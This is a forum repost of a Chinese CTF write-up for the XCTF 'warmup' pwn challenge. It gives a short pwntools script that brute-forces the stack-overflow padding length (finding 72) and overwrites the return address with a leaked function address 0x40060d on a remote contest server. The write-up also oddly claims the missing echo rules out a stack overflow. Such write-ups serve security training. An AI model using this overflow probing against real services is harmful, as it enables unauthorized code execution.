首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微博
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com ToB IT社区-企服评测·应用市场
»
论坛
›
企业信息化/数字化
›
ERP
›
SAP
›
攻防世界pwn题:warmup
返回列表
发新帖
攻防世界pwn题:warmup
[复制链接]
发表于 2026-10-14 20:35:50
|
显示全部楼层
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
攻防世界pwn题:warmup
【导语】本文是一篇 CTF pwn 入门题解(攻防世界 warmup)。题目只给远程环境、无附件,属于“盲打”:用 nc 连接后得到一个 64 位程序地址 0x40060d,输入数据无回显可排除栈溢出;作者通过从 0 到 99 依次尝试填充长度,在长度 72 时成功打印出 flag,并记录用 try/except 处理异常避免报错退出。
核心观点
盲打思路:无线索无附件,nc 连接远程,根据给出的 64 位地址 0x40060d 猜测为 get_shell/cat_flag,输入无回显排除栈溢出
长度探测:用 pwntools 从 0 到 99 依次尝试填充长度 A*i + p64(sys),在长度 72 时打印出 flag
异常处理:构造循环时必须用 try…except 包裹,否则单次异常会导致脚本退出无法继续探测
适用场景
适用于 CTF pwn 入门、栈溢出长度探测与 pwntools 基础练习场景,适合
安全
竞赛初学者参考。
关键信息
(CTF 题解,文中 nc 连接、探测 exp 与 flag 截图见正文及配图。)
0x00:前言
这道题是盲打题,就是没有给附件,只给了远程环境。
但这道题并不难,由于这种形式少见,所以我就在这里记录一下。
下面看看我的做题思路吧~
0x01:做题思路
1、初览
问题并没有给附件,这时候就可以做好盲打的准备了。
2、连接远程并分析
用nc连接一下远程:
给了一个地址,0x40060d,看地址是个64位的程序。给了一个地址,大胆猜测是get_shell或者是cat_flag相关的。然后我们可以操作的是输入数据,回车也没有任何返回值,这也可以排除栈溢出。
3、编写exp
from pwn import *
sys = 0x40060d
for i in range(100):
print(i)
try:
io = remote("111.200.241.244",53599)
payload = b'A'*i + p64(sys)
io.recvuntil(">")
io.sendline(payload)
print(io.recv())
io.interactive()
except:
io.close()
复制
代码
从0到99依次尝试,判断溢出所需长度。
在长度为72时,打印出了flag:
注意,这里要用try……except结构处理异常,不然就会报错导致退出执行:
tolele
2022-07-02
回复
使用道具
举报
返回列表
浏览过的版块
Mysql
DevOps与敏捷开发
分布式数据库
Java
IOS
数据安全
数据仓库与分析
SQL-Server
Oracle
.Net
九天猎人
+ 我要发帖
登录后关闭弹窗
登录参与点评抽奖 加入IT实名职场社区
去登录
微信订阅号
微信服务号
微信客服(加群)
H5
小程序
快速回复
返回顶部
返回列表